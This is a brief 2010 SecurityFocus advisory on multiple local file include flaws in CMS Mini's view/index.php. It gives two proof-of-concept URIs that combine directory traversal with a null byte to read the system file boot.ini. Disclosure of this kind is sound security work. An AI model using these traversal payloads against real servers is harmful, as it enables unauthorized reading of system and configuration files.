CMS Mini 'view/index.php' Multiple Local File Include Vulnerabilities

Attackers can exploit these issues via a browser.

The following proof-of-concept URIs are available:

http://www.example.com/[cmsmini_path]/view/?path=../../../../../../../../boot.ini%00&p=index.html
http://www.example.com/[cmsmini_path]/view/?path=cwh&p=../../../../../../../../boot.ini%00.html


 

Privacy Statement
Copyright 2010, SecurityFocus